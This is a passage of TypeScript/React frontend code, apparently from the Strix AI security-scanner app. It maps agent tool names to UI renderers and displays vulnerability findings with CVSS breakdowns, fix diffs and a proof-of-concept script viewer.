const CATEGORY_META: Record<ToolCategory, CategoryMeta> = {
terminal: { renderer: TerminalRenderer, icon: Terminal, color: "text-emerald-400" },
python: { renderer: PythonRenderer, icon: Code, color: "text-yellow-400" },
browser: { renderer: BrowserRenderer, icon: Globe, color: "text-blue-400" },
filesystem: { renderer: FileEditRenderer, icon: FileText, color: "text-sky-400" },
proxy: { renderer: ProxyRenderer, icon: ArrowUpRight, color: "text-purple-400", match: /request|sitemap|scope/ },
reporting: { renderer: VulnReportRenderer, icon: ShieldAlert, color: "text-red-400" },
thinking: { renderer: ThinkRenderer, icon: Brain, color: "text-purple-400" },
agents: { renderer: AgentCommsRenderer, icon: Bot, color: "text-cyan-400", match: /agent/ },
search: { renderer: WebSearchRenderer, icon: Search, color: "text-amber-400" },
lifecycle: { renderer: ScanInfoRenderer, icon: Flag, color: "text-emerald-400" },
notes: { renderer: NotesRenderer, icon: StickyNote, color: "text-amber-400", match: /note/ },
skills: { renderer: LoadSkillRenderer, icon: Wrench, color: "text-emerald-400" },
todos: { renderer: TodoRenderer, icon: ListTodo, color: "text-purple-400", match: /todo/ },
telemetry: { renderer: FallbackRenderer, icon: Wrench, color: "text-[#555]" },
};
/**
* Tool name family. Grouped by family; legacy names the engine used before the
* OSS SDK migration (terminal_execute, python_action, browser_action,
* str_replace_editor, send_request, ) are kept as aliases so historical scan
* data keeps rendering.
*/
const CATEGORY_TOOLS: Record<ToolCategory, readonly string[]> = {
// Shell — SDK `exec_command` / `write_stdin` (legacy: terminal_execute)
terminal: ["exec_command", "write_stdin", "terminal_execute"],
// Legacy Python session tool (now runs through the shell)
python: ["python_action"],
// Legacy browser tool (now driven via agent-browser CLI over the shell)
browser: ["browser_action"],
// SDK filesystem — `apply_patch` / `view_image` (legacy: str_replace_editor, list/search)
filesystem: ["apply_patch", "view_image", "str_replace_editor", "list_files", "search_files"],
// Caido proxy tools (legacy: send_request)
proxy: ["list_requests", "view_request", "repeat_request", "list_sitemap", "view_sitemap_entry", "scope_rules", "send_request"],
reporting: ["create_vulnerability_report"],
thinking: ["think"],
agents: ["create_agent", "agent_finish", "send_message_to_agent", "wait_for_message", "view_agent_graph", "stop_agent"],
search: ["web_search"],
// scan_start_info / subagent_start_info are strix-app synthetic events; finish_scan is the engine's
lifecycle: ["scan_start_info", "subagent_start_info", "finish_scan"],
notes: ["create_note", "delete_note", "update_note", "list_notes", "get_note"],
skills: ["load_skill"],
todos: ["create_todo", "list_todos", "update_todo", "mark_todo_done", "mark_todo_pending", "delete_todo"],
telemetry: ["sandbox_error_details", "llm_error_details"],
};
/** Reverse index (tool name → family), built once from CATEGORY_TOOLS. */
const TOOL_CATEGORY: Record<string, ToolCategory> = Object.fromEntries(
(Object.entries(CATEGORY_TOOLS) as [ToolCategory, readonly string[]][]).flatMap(
([category, names]) => names.map((name) => [name, category] as const),
),
);
/**
* Per-tool renderer overrides for the rare tool whose renderer differs from its
* family default (finish_scan renders the final report, not the scan-start card).
*/
const RENDERER_OVERRIDES: Partial<Record<string, ComponentType<ToolRendererProps>>> = {
finish_scan: FinishRenderer,
apply_patch: ApplyPatchRenderer,
view_image: ViewImageRenderer,
};
/**
* Per-tool icon overrides for tools whose icon/color differs from their family
* default (the agents family and lifecycle family each vary per tool).
*/
const ICON_OVERRIDES: Partial<Record<string, ToolIconMeta>> = {
agent_finish: { icon: Flag, color: "text-cyan-400" },
send_message_to_agent: { icon: MessageCircle, color: "text-cyan-400" },
wait_for_message: { icon: MessageCircle, color: "text-cyan-400" },
view_agent_graph: { icon: Eye, color: "text-cyan-400" },
stop_agent: { icon: Ban, color: "text-red-400" },
scan_start_info: { icon: Crosshair, color: "text-emerald-400" },
subagent_start_info: { icon: Bot, color: "text-purple-400" },
view_image: { icon: Image, color: "text-sky-400" },
};
const FALLBACK_META: CategoryMeta = CATEGORY_META.telemetry;
/** Resolve a tool name to its family, falling back to family-name matchers. */
function resolveCategory(toolName: string): ToolCategory | null {
const direct = TOOL_CATEGORY[toolName];
if (direct) return direct;
for (const [category, meta] of Object.entries(CATEGORY_META) as [ToolCategory, CategoryMeta][]) {
if (meta.match?.test(toolName)) return category;
}
return null;
}
export function getToolRenderer(toolName: string): ComponentType<ToolRendererProps> {
const override = RENDERER_OVERRIDES[toolName];
if (override) return override;
const category = resolveCategory(toolName);
return category ? CATEGORY_META[category].renderer : FallbackRenderer;
}
export function getToolIcon(toolName: string): ToolIconMeta {
const override = ICON_OVERRIDES[toolName];
if (override) return override;
const category = resolveCategory(toolName);
const meta = category ? CATEGORY_META[category] : FALLBACK_META;
return { icon: meta.icon, color: meta.color };
}
@@ -0,0 +1,3 @@
export function shortPath(p: string): string {
return p.length > 60 ? "..." + p.slice(-57) : p;
}
@@ -0,0 +1,114 @@
"use client";
import { useState } from "react";
import hljs from "@/lib/hljs";
import "highlight.js/styles/github-dark.css";
import { diffLines } from "diff";
import { Copy, Check } from "lucide-react";
import { getLanguageFromFile, copyToClipboard } from "@/lib/vulnerability-utils";
function safeHighlight(code: string, lang: string): string {
try {
return hljs.highlight(code, { language: lang, ignoreIllegals: true }).value;
} catch {
return hljs.highlightAuto(code).value;
}
}
interface CodeDiffBlockProps {
file: string;
startLine: number;
endLine?: number;
before: string;
after: string;
onCopy?: () => void;
}
export function CodeDiffBlock({ file, startLine, endLine, before, after, onCopy }: CodeDiffBlockProps) {
const [copied, setCopied] = useState(false);
const lineRef =
endLine && endLine !== startLine ? `${startLine}-${endLine}` : `${startLine}`;
const lang = getLanguageFromFile(file) || "text";
const changes = diffLines(before, after);
let oldLineNo = startLine;
let newLineNo = startLine;
const rows = changes.flatMap((change) =>
change.value
.replace(/\n$/, "")
.split("\n")
.map((line) => {
const highlighted =
line === ""
? "\n"
: lang !== "text"
? safeHighlight(line, lang)
: line.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
let leftNo = "";
let rightNo = "";
if (change.removed) {
leftNo = String(oldLineNo++);
} else if (change.added) {
rightNo = String(newLineNo++);
} else {
leftNo = String(oldLineNo++);
rightNo = String(newLineNo++);
}
return { highlighted, added: !!change.added, removed: !!change.removed, leftNo, rightNo };
})
);
const copy = () => {
copyToClipboard(after);
setCopied(true);
setTimeout(() => setCopied(false), 2000);
onCopy?.();
};
return (
<div className="rounded-md border border-[#2a2a2a] overflow-hidden">
<div className="flex items-stretch">
<span className="relative flex items-center text-[13px] text-[#999] font-mono px-4 py-2 border-r border-[#2a2a2a] break-all">
{file}:{lineRef}
<span className="absolute top-0 inset-x-0 h-0.5 bg-white/60 rounded-full" />
</span>
<div className="flex-1 border-b border-[#2a2a2a]" />
<button
onClick={copy}
className="px-3 py-2 text-[#555] hover:text-white transition-colors flex-shrink-0 border-b border-[#2a2a2a]"
aria-label="Copy fixed code"
>
{copied ? (
<Check className="w-3.5 h-3.5 text-emerald-400" />
) : (
<Copy className="w-3.5 h-3.5" />
)}
</button>
</div>
<div className="overflow-auto max-h-[400px]">
<table className="w-full border-collapse font-mono text-[12px] leading-[22px] [font-variant-ligatures:none]">
<tbody>
{rows.map((row, i) => (
<tr
key={i}
className={row.added ? "bg-blue-500/[0.12]" : row.removed ? "bg-red-500/[0.12]" : ""}
>
<td className="select-none w-[1px] whitespace-nowrap pl-4 pr-1.5 text-right text-[#555] align-top text-[12px] leading-[22px]">
{row.leftNo}
</td>
<td className="select-none w-[1px] whitespace-nowrap pl-1.5 pr-4 text-right text-[#555] align-top text-[12px] leading-[22px] border-r border-[#2a2a2a]">
{row.rightNo}
</td>
<td
className="pl-4 pr-4 whitespace-pre"
dangerouslySetInnerHTML={{ __html: row.highlighted }}
/>
</tr>
))}
</tbody>
</table>
</div>
</div>
);
}
@@ -0,0 +1,27 @@
"use client";
import ReactMarkdown from "react-markdown";
import remarkGfm from "remark-gfm";
import { rehypeCodeMeta, mdComponents } from "./MdCodeBlock";
export function ContentSection({ title, content, action }: { title?: string; content: string; action?: React.ReactNode }) {
return (
<section>
{(title || action) && (
<div className="flex items-center justify-between gap-3 mb-3">
{title ? <h2 className="text-xl font-semibold text-white">{title}</h2> : <span />}
{action}
</div>
)}
<div className="prose-markdown">
<ReactMarkdown
remarkPlugins={[remarkGfm]}
rehypePlugins={[rehypeCodeMeta]}
components={mdComponents}
>
{content}
</ReactMarkdown>
</div>
</section>
);
}
@@ -0,0 +1,277 @@
"use client";
import { useState } from "react";
import { Clock, Globe, ChevronDown } from "lucide-react";
import { parseTarget } from "@/lib/target-utils";
import { ProviderIcon } from "@/components/AddRepositoryDialog";
import { getSeverityDot } from "@/lib/vulnerability-utils";
import { formatTimeAgo } from "@/lib/utils";
import { FIX_EFFORT_META, type FixEffort, type Vulnerability } from "@/types/issues";
/* ─── Human-friendly CVSS labels ─── */
const HUMAN_LABELS: Record<string, Record<string, string>> = {
attack_vector: { N: "Remotely exploitable", A: "Adjacent network", L: "Local access required", P: "Physical access required" },
attack_complexity: { L: "Easy to exploit", H: "Requires specific conditions" },
privileges_required: { N: "No authentication needed", L: "Low privileges needed", H: "High privileges needed" },
user_interaction: { N: "No user action required", R: "Requires user action", P: "Passive user role", A: "Active user role" },
scope: { U: "Impact stays contained", C: "Can spread to other systems" },
confidentiality: { N: "No data exposure", L: "Partial data exposure", H: "Full data exposure" },
integrity: { N: "No data modification", L: "Limited modification", H: "Full data modification" },
availability: { N: "No service disruption", L: "Limited disruption", H: "Full service disruption" },
};
const RISK_LEVEL: Record<string, Record<string, "low" | "medium" | "high">> = {
attack_vector: { N: "high", A: "medium", L: "low", P: "low" },
attack_complexity: { L: "high", H: "low" },
privileges_required: { N: "high", L: "medium", H: "low" },
user_interaction: { N: "high", R: "low", P: "medium", A: "low" },
scope: { C: "high", U: "low" },
confidentiality: { H: "high", L: "medium", N: "low" },
integrity: { H: "high", L: "medium", N: "low" },
availability: { H: "high", L: "medium", N: "low" },
};
const RISK_BADGE: Record<string, string> = {
high: "bg-red-500/15 text-red-400 border-red-500/25",
medium: "bg-yellow-500/15 text-yellow-400 border-yellow-500/25",
low: "bg-[#222] text-[#666] border-[#333]",
};
const FACTOR_GROUPS: { label: string; keys: string[] }[] = [
{ label: "Exploitability", keys: ["attack_vector", "attack_complexity", "privileges_required", "user_interaction"] },
{ label: "Impact", keys: ["scope", "confidentiality", "integrity", "availability"] },
];
/* ─── Location link builder ─── */
export function buildLocationHref(
repoUrl: string,
provider: string,
branch: string,
file: string,
startLine: number,
): string | null {
const base = repoUrl.replace(/\.git$/, "").replace(/\/+$/, "");
const encodedFile = file.split("/").map(encodeURIComponent).join("/");
const encodedBranch = branch.split("/").map(encodeURIComponent).join("/");
if (provider === "github") {
return `${base}/blob/${encodedBranch}/${encodedFile}#L${startLine}`;
}
if (provider === "gitlab") {
return `${base}/-/blob/${encodedBranch}/${encodedFile}#L${startLine}`;
}
return null;
}
/* ─── Props ─── */
interface IssueSidebarProps {
vulnerability: Vulnerability;
statusSlot: React.ReactNode;
slackThreadUrl?: string | null;
}
/* ─── Component ─── */
export function IssueSidebar({ vulnerability, statusSlot, slackThreadUrl }: IssueSidebarProps) {
const { severity, cvss, cve, cwe, fix_effort, created_at, target, endpoint, method, code_locations, cvss_breakdown, location_meta } = vulnerability;
const [riskOpen, setRiskOpen] = useState(true);
const fixLocations = code_locations?.filter((loc) => loc.fix_before && loc.fix_after);
const hasLocations = fixLocations && fixLocations.length > 0;
const parsed = target ? parseTarget(target) : null;
const hasAsset = !!(target || endpoint || method || hasLocations);
const hasBreakdown = cvss_breakdown && Object.values(cvss_breakdown).some((v) => v != null);
return (
<aside className="lg:sticky lg:top-6 lg:max-h-[calc(100vh-3rem)] lg:overflow-y-auto">
{/* ─── Metadata ─── */}
<div className="pb-4">
<div className="space-y-3">
{/* Severity */}
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">Severity</span>
<div className="flex items-center gap-1.5">
<div className={`w-2 h-2 rounded-full ${getSeverityDot(severity)}`} aria-hidden="true" />
<span className="text-sm font-medium capitalize text-white">{severity}</span>
</div>
</div>
{/* CVSS */}
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">CVSS Score</span>
<span className="text-sm font-semibold tabular-nums text-white">{cvss !== null ? cvss : "N/A"}</span>
</div>
{/* CVE */}
{cve && (
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">CVE</span>
<span className="text-sm text-white font-mono">{cve}</span>
</div>
)}
{/* CWE */}
{cwe && cwe.length > 0 && (
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">CWE</span>
<span className="text-xs text-white font-mono truncate max-w-[80%] text-right" title={cwe.join(" · ")}>
{cwe.join(" · ")}
</span>
</div>
)}
{/* Fix Effort */}
{fix_effort && (
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">Fix Effort</span>
<span className={`inline-flex items-center px-2 py-0.5 text-[11px] font-medium rounded-full border ${FIX_EFFORT_META[fix_effort as FixEffort]?.color ?? "text-[#666]"}`}>
{fix_effort.charAt(0).toUpperCase() + fix_effort.slice(1)}
</span>
</div>
)}
{/* Discovered */}
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">Discovered</span>
<div className="flex items-center gap-1.5">
<Clock className="w-3 h-3 text-[#444]" aria-hidden="true" />
<span className="text-sm text-white">{formatTimeAgo(created_at)}</span>
</div>
</div>
{/* Status */}
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">Status</span>
{statusSlot}
</div>
</div>
</div>
{/* ─── Asset ─── */}
{hasAsset && (
<div className="border-t border-[#191919] pt-4 pb-4">
<p className="text-xs font-medium text-[#aaa] mb-2.5">Asset</p>
<div className="space-y-2.5">
{target && parsed && (
<div className="flex items-center gap-1.5">
{parsed.provider ? (
<span className="flex-shrink-0 [&_svg]:w-3.5 [&_svg]:h-3.5" aria-hidden="true">
<ProviderIcon provider={parsed.provider} />
</span>
) : (
<Globe className="w-3.5 h-3.5 text-[#555] flex-shrink-0" aria-hidden="true" />
)}
{parsed.href ? (
<a
href={parsed.href}
target="_blank"
rel="noopener noreferrer"
className="text-sm text-white hover:text-[#ccc] break-words min-w-0 transition-colors"
>
{parsed.display}
</a>
) : (
<span className="text-sm text-white break-words min-w-0">{parsed.display}</span>
)}
</div>
)}
{endpoint && (
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">Endpoint</span>
<span className="text-xs text-white font-mono truncate max-w-[75%] text-right">{endpoint}</span>
</div>
)}
{method && (
<div className="flex items-center justify-between">
<span className="text-xs text-[#aaa]">Method</span>
<span className="text-xs text-white font-mono">{method}</span>
</div>
)}
{hasLocations && (
<div>
<span className="text-xs text-[#aaa] mb-1.5 block">Locations</span>
<div className="space-y-0.5">
{fixLocations!.map((loc, i) => {
const label = `${loc.file}:${loc.start_line}`;
const href = location_meta
? buildLocationHref(location_meta.repo_url, location_meta.provider, location_meta.branch, loc.file, loc.start_line)
: null;
return href ? (
<a
key={`loc-${i}`}
href={href}
target="_blank"
rel="noopener noreferrer"
className="text-[13px] text-[#888] hover:text-white font-mono break-all transition-colors block"
>
{label}
</a>
) : (
<span key={`loc-${i}`} className="text-[13px] text-[#888] font-mono break-all block">
{label}
</span>
);
})}
</div>
</div>
)}
</div>
</div>
)}
{/* ─── Risk Assessment (human-friendly CVSS) ─── */}
{hasBreakdown && (
<div className="border-t border-[#191919] pt-4">
<button
onClick={() => setRiskOpen(!riskOpen)}
className="flex items-center justify-between w-full mb-2.5 group"
aria-expanded={riskOpen}
>
<span className="text-xs font-medium text-[#aaa]">Risk Assessment</span>
<ChevronDown className={`w-3.5 h-3.5 text-[#555] group-hover:text-white transition-transform ${riskOpen ? "" : "-rotate-90"}`} aria-hidden="true" />
</button>
<div className={`space-y-3 ${riskOpen ? "" : "hidden"}`}>
{FACTOR_GROUPS.map((group) => {
const factors = group.keys.filter(
(k) => (cvss_breakdown as unknown as Record<string, string | null>)[k] != null
);
if (factors.length === 0) return null;
return (
<div key={group.label}>
<div className="flex items-center justify-between mb-1.5">
<p className="text-[10px] uppercase tracking-wider text-[#444] font-medium">
{group.label}
</p>
<p className="text-[10px] uppercase tracking-wider text-[#444] font-medium mr-2">
Risk
</p>
</div>
<div className="space-y-1">
{factors.map((key) => {
const raw = (cvss_breakdown as unknown as Record<string, string | null>)[key];
const level = raw ? (RISK_LEVEL[key]?.[raw] ?? "low") : "low";
const label = raw ? (HUMAN_LABELS[key]?.[raw] ?? raw) : "N/A";
return (
<div key={key} className="flex items-center justify-between py-0.5">
<span className="text-[12px] text-[#aaa]">{label}</span>
<span className={`text-[10px] font-medium px-1.5 py-0.5 rounded border ${RISK_BADGE[level]}`}>
{level}
</span>
</div>
);
})}
</div>
</div>
);
})}
</div>
</div>
)}
</aside>
);
}
@@ -0,0 +1,141 @@
"use client";
import { useState } from "react";
import hljs from "@/lib/hljs";
import "highlight.js/styles/github-dark.css";
import { Copy, Check } from "lucide-react";
import { copyToClipboard } from "@/lib/vulnerability-utils";
export function MdCodeBlock({
className,
children,
node,
}: {
className?: string;
children?: React.ReactNode;
node?: { data?: { meta?: string }; properties?: { metastring?: string } };
}) {
const [copied, setCopied] = useState(false);
const raw = String(children).replace(/\n$/, "");
const match = /language-(\w+)/.exec(className || "");
const isBlock = raw.includes("\n") || match;
if (!isBlock) {
return <code className={`${className || ""} bg-white/8 px-1.5 py-0.5 rounded text-[13px]`}>{children}</code>;
}
const meta = node?.data?.meta || node?.properties?.metastring || "";
const titleMatch = /title=["']?([^"'\s}]+)["']?/.exec(meta);
const startMatch = /startLineNumber=(\d+)/.exec(meta);
const fileName = titleMatch?.[1] || null;
const startLine = startMatch ? parseInt(startMatch[1], 10) : 1;
const headerLabel = fileName
? startMatch
? `${fileName}:${startLine}`
: fileName
: null;
let highlighted: string;
if (match) {
try {
highlighted = hljs.highlight(raw, { language: match[1], ignoreIllegals: true }).value;
} catch {
highlighted = hljs.highlightAuto(raw).value;
}
} else {
highlighted = hljs.highlightAuto(raw).value;
}
const lines = highlighted.split("\n");
const copy = () => {
copyToClipboard(raw);
setCopied(true);
setTimeout(() => setCopied(false), 2000);
};
return (
<div className="group/code relative rounded-md border border-[#2a2a2a] my-4 text-[#ddd] overflow-hidden">
{headerLabel ? (
<div className="flex items-stretch">
<span className="relative flex items-center text-[13px] text-[#999] font-mono px-4 py-2 border-r border-[#2a2a2a]">{headerLabel}<span className="absolute top-0 inset-x-0 h-0.5 bg-white/60 rounded-full" /></span>
<div className="flex-1 border-b border-[#2a2a2a]" />
<button
onClick={copy}
className="px-3 py-2 text-[#555] hover:text-white transition-colors border-b border-[#2a2a2a]"
aria-label="Copy code"
>
{copied ? (
<Check className="w-3.5 h-3.5 text-emerald-400" />
) : (
<Copy className="w-3.5 h-3.5" />
)}
</button>
</div>
) : (
<button
onClick={copy}
className="absolute top-2 right-2 z-10 p-1 rounded text-[#444] hover:text-white opacity-0 group-hover/code:opacity-100 transition-opacity"
aria-label="Copy code"
>
{copied ? (
<Check className="w-3.5 h-3.5 text-emerald-400" />
) : (
<Copy className="w-3.5 h-3.5" />
)}
</button>
)}
<div className="overflow-auto max-h-[400px]">
<table className="w-full border-collapse font-mono text-[12px] leading-[22px] [font-variant-ligatures:none]">
<tbody>
{lines.map((line, i) => (
<tr key={i}>
<td className="select-none w-[1px] whitespace-nowrap px-4 text-right text-[#555] align-top text-[12px] leading-[22px] border-r border-[#2a2a2a]">
{startLine + i}
</td>
<td
className="pl-4 pr-4 whitespace-pre"
dangerouslySetInnerHTML={{ __html: line || "\n" }}
/>
</tr>
))}
</tbody>
</table>
</div>
</div>
);
}
// rehype plugin: pass code fence meta string through to code element properties
type HastNode = {
type: string;
tagName?: string;
children?: HastNode[];
properties?: Record<string, unknown>;
data?: { meta?: string };
};
export function rehypeCodeMeta() {
return (tree: HastNode) => {
const visit = (node: HastNode) => {
if (node.type === "element" && node.tagName === "pre" && node.children) {
const codeEl = node.children.find(
(c) => c.type === "element" && c.tagName === "code"
);
if (codeEl?.data?.meta) {
codeEl.properties = codeEl.properties || {};
codeEl.properties.metastring = codeEl.data.meta;
}
}
if (node.children) {
node.children.forEach((child) => visit(child));
}
};
visit(tree);
};
}
export const mdComponents = {
code: MdCodeBlock as React.ComponentType<React.HTMLAttributes<HTMLElement>>,
pre: ({ children }: { children?: React.ReactNode }) => <>{children}</>,
};
@@ -0,0 +1,77 @@
"use client";
import { useState } from "react";
import hljs from "@/lib/hljs";
import "highlight.js/styles/github-dark.css";
import ReactMarkdown from "react-markdown";
import remarkGfm from "remark-gfm";
import { Copy, Check } from "lucide-react";
import { copyToClipboard } from "@/lib/vulnerability-utils";
import { rehypeCodeMeta, mdComponents } from "./MdCodeBlock";
interface PocBlockProps {
description?: string | null;
scriptCode?: string | null;
onCopy?: () => void;
}
export function PocBlock({ description, scriptCode, onCopy }: PocBlockProps) {
const [copied, setCopied] = useState(false);
if (!description && !scriptCode) return null;
const copy = () => {
if (!scriptCode) return;
copyToClipboard(scriptCode);
setCopied(true);
setTimeout(() => setCopied(false), 2000);
onCopy?.();
};
return (
<section>
<h2 className="text-xl font-semibold text-white mb-3">Proof of Concept</h2>
<div className="space-y-4">
{description && (
<div className="prose-markdown">
<ReactMarkdown
remarkPlugins={[remarkGfm]}
rehypePlugins={[rehypeCodeMeta]}
components={mdComponents}
>
{description}
</ReactMarkdown>
</div>
)}
{scriptCode && (
<div className="group/poc relative rounded-md border border-[#2a2a2a] overflow-hidden">
<div className="flex items-stretch">
<span className="relative flex items-center text-[13px] text-[#999] font-mono px-4 py-2 border-r border-[#2a2a2a]">PoC Script<span className="absolute top-0 inset-x-0 h-0.5 bg-white/60 rounded-full" /></span>
<div className="flex-1 border-b border-[#2a2a2a]" />
<button
onClick={copy}
className="px-3 py-2 text-[#555] hover:text-white transition-colors flex-shrink-0 border-b border-[#2a2a2a]"
aria-label="Copy PoC code"
>
{copied ? (
<Check className="w-3.5 h-3.5 text-emerald-400" />
) : (
<Copy className="w-3.5 h-3.5" />
)}
</button>
</div>
<div className="overflow-auto max-h-[400px] px-4 py-3">
<pre className="font-mono text-[12px] leading-[22px] whitespace-pre [font-variant-ligatures:none]">
<code
dangerouslySetInnerHTML={{
__html: hljs.highlight(scriptCode, { language: "python" }).value,
}}
/>
</pre>
</div>
</div>
)}
</div>
</section>
);
}
@@ -0,0 +1,265 @@
"use client";
import React, { useState } from "react";
import { Clock, CheckCircle2, Ban, History, BellOff, Wrench, GitMerge, GitPullRequest } from "lucide-react";
import { ProInlineCta } from "@/components/ProCta";
import { Vulnerability, VulnerabilityStatus, SEVERITY_COLORS, STATUS_META, isSeverityOverridden } from "@/types/issues";
import { formatTimeAgo } from "@/lib/utils";
import { getSeverityDot } from "@/lib/vulnerability-utils";
import { formatStrixId } from "@/lib/display-number";
import { ContentSection } from "@/components/vulnerability/ContentSection";
import { CodeDiffBlock } from "@/components/vulnerability/CodeDiffBlock";
import { PocBlock } from "@/components/vulnerability/PocBlock";
import { IssueSidebar } from "@/components/vulnerability/IssueSidebar";
function bannerTime(dateString: string | null): string {
if (!dateString) return "";
const diffInSeconds = Math.floor((Date.now() - new Date(dateString).getTime()) / 1000);
if (diffInSeconds < 604800) return ` ${formatTimeAgo(dateString)}`;
return ` on ${formatTimeAgo(dateString)}`;
}
const STATUS_BANNER: Record<VulnerabilityStatus, { icon: React.ElementType; label: string; iconColor: string } | null> = {
open: null,
in_progress: { icon: Clock, label: "Marked as In Progress", iconColor: "text-blue-400" },
snoozed: { icon: BellOff, label: "Snoozed", iconColor: "text-purple-400" },
fixed: { icon: CheckCircle2, label: "Marked as Fixed", iconColor: "text-emerald-400" },
ignored: { icon: Ban, label: "Marked as Ignored", iconColor: "text-[#888]" },
};
type BottomTab = "fix" | "reproduction";
interface VulnerabilityDetailProps {
vulnerability: Vulnerability;
}
/**
* Self-contained finding detail (header + status banners + content grid),
* without page chrome. Shared by the public /share/issues page and the local
* /results view so both render findings identically.
*/
export default function VulnerabilityDetail({ vulnerability }: VulnerabilityDetailProps) {
const currentMeta = STATUS_META[vulnerability.status];
const hasCodeLocations = vulnerability.code_locations && vulnerability.code_locations.length > 0;
const hasFix = hasCodeLocations || vulnerability.remediation_steps;
const hasReproduction = !!(vulnerability.evidence || vulnerability.assumptions || vulnerability.poc_description || vulnerability.poc_script_code);
const [activeTab, setActiveTab] = useState<BottomTab>("fix");
const bottomTabs: { id: BottomTab; label: string; show: boolean }[] = [
{ id: "fix", label: "Fix", show: !!hasFix },
{ id: "reproduction", label: "Reproduction", show: hasReproduction },
];
const visibleTabs = bottomTabs.filter((t) => t.show);
return (
<div className="space-y-6">
{/* Header */}
<div>
<div className="mb-2">
{vulnerability.display_number && (
<span className="text-xs font-mono text-[#555] block mb-1">
{formatStrixId(vulnerability.display_number)}
</span>
)}
<h1 className="text-2xl font-semibold text-white">{vulnerability.title}</h1>
</div>
<div className="flex flex-wrap items-center gap-3">
<span className={`inline-flex items-center gap-1.5 px-3 py-1 text-sm font-medium rounded-full border ${currentMeta.color}`}>
{currentMeta.label}
</span>
<div
className={`inline-flex items-center gap-1.5 px-3 py-1 text-sm font-semibold rounded-full border ${SEVERITY_COLORS[vulnerability.severity]}`}
title={isSeverityOverridden(vulnerability) ? `Adjusted from ${vulnerability.original_severity}` : undefined}
>
<div className={`w-2 h-2 rounded-full ${getSeverityDot(vulnerability.severity)}`} />
<span className="capitalize">
{vulnerability.severity}
{!isSeverityOverridden(vulnerability) && vulnerability.cvss ? ` ${vulnerability.cvss}` : ""}
</span>
{isSeverityOverridden(vulnerability) && (
<History className="w-3 h-3 opacity-70" aria-hidden="true" />
)}
</div>
{vulnerability.cve && (
<>
<span className="text-[#333]">&middot;</span>
<span className="text-sm text-[#666] font-mono">{vulnerability.cve}</span>
</>
)}
</div>
</div>
{/* Status banner */}
{vulnerability.status !== "open" && (() => {
const banner = STATUS_BANNER[vulnerability.status];
if (!banner) return null;
const BannerIcon = banner.icon;
return (
<div className="rounded-lg px-4 py-3.5 flex gap-3" style={{ border: "1px solid rgba(255,255,255,0.08)" }}>
<BannerIcon className={`w-5 h-5 flex-shrink-0 mt-0.5 ${banner.iconColor}`} aria-hidden="true" />
<div className="min-w-0">
<p className="text-sm font-semibold text-white">
{banner.label}{bannerTime(vulnerability.status_changed_at)}
</p>
{vulnerability.status_note && (
<p className="text-sm text-[#666] italic mt-1">
&ldquo;{vulnerability.status_note}&rdquo;
</p>
)}
</div>
</div>
);
})()}
{/* Severity override banner */}
{isSeverityOverridden(vulnerability) && (
<div className="rounded-lg px-4 py-3.5 flex gap-3" style={{ border: "1px solid rgba(255,255,255,0.08)" }}>
<History className="w-5 h-5 flex-shrink-0 mt-0.5 text-orange-400" aria-hidden="true" />
<div className="min-w-0">
<p className="text-sm font-semibold text-white">
Severity changed manually from{" "}
<span className="capitalize">{vulnerability.original_severity}</span>
{vulnerability.cvss != null ? ` (${vulnerability.cvss})` : ""} to{" "}
<span className="capitalize">{vulnerability.severity}</span>
{bannerTime(vulnerability.severity_changed_at)}
</p>
{vulnerability.severity_override_reason && (
<p className="text-sm text-[#666] italic mt-1">
&ldquo;{vulnerability.severity_override_reason}&rdquo;
</p>
)}
</div>
</div>
)}
{/* Content grid */}
<div className="grid grid-cols-1 lg:grid-cols-[1fr_340px] gap-8">
{/* Main content */}
<div className="min-w-0">
<div className="space-y-8">
<ContentSection title="TL;DR" content={vulnerability.description} />
{vulnerability.impact && <ContentSection title="Impact" content={vulnerability.impact} />}
{vulnerability.technical_analysis && (
<ContentSection title="Technical Details" content={vulnerability.technical_analysis} />
)}
</div>
{/* Bottom tabs */}
{visibleTabs.length > 0 && (
<div className="mt-10">
<div className="border-b border-[#2a2a2a]">
<nav className="flex gap-6" aria-label="Tabs">
{visibleTabs.map((tab) => (
<button
key={tab.id}
onClick={() => setActiveTab(tab.id)}
className={`relative min-w-[80px] text-center pb-3 text-[16px] font-semibold transition-colors ${
activeTab === tab.id
? "text-white"
: "text-[#666] hover:text-white"
}`}
aria-current={activeTab === tab.id ? "page" : undefined}
>
{tab.label}
{activeTab === tab.id && (
<span className="absolute bottom-0 inset-x-0 h-0.5 bg-white rounded-full" />
)}
</button>
))}
</nav>
</div>
{/* Fix tab */}
{hasFix && (
<div className={`pt-6 space-y-6 ${activeTab === "fix" ? "animate-tab-in" : "hidden"}`}>
{vulnerability.remediation_steps && (
<ContentSection title="How do I fix it?" content={vulnerability.remediation_steps} />
)}
{hasCodeLocations &&
vulnerability.code_locations!
.filter((loc) => loc.fix_before && loc.fix_after)
.map((loc, i) => (
<CodeDiffBlock
key={`fix-${i}`}
file={loc.file}
startLine={loc.start_line}
endLine={loc.end_line}
before={loc.fix_before!}
after={loc.fix_after!}
/>
))}
</div>
)}
{/* Reproduction tab */}
{hasReproduction && (
<div className={`pt-6 space-y-8 ${activeTab === "reproduction" ? "animate-tab-in" : "hidden"}`}>
{vulnerability.assumptions && (
<ContentSection title="Assumptions" content={vulnerability.assumptions} />
)}
{vulnerability.evidence && (
<ContentSection title="Evidence" content={vulnerability.evidence} />
)}
<PocBlock
description={vulnerability.poc_description}
scriptCode={vulnerability.poc_script_code}
/>
</div>
)}
</div>
)}
</div>
{/* Sidebar */}
<div className="lg:border-l lg:border-[#2a2a2a] lg:pl-6">
<IssueSidebar
vulnerability={vulnerability}
statusSlot={
<span className={`inline-flex items-center gap-1.5 px-2.5 py-1 text-xs font-medium rounded-full border ${currentMeta.color}`}>
<div className={`w-1.5 h-1.5 rounded-full ${currentMeta.dotColor}`} />
{currentMeta.label}
</span>
}
/>
</div>
</div>
{/* Team-workflow CTAs (Pro). Highest-intent surface: act on this finding. */}
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
<p className="text-sm font-semibold text-white">Ship the fix with your team</p>
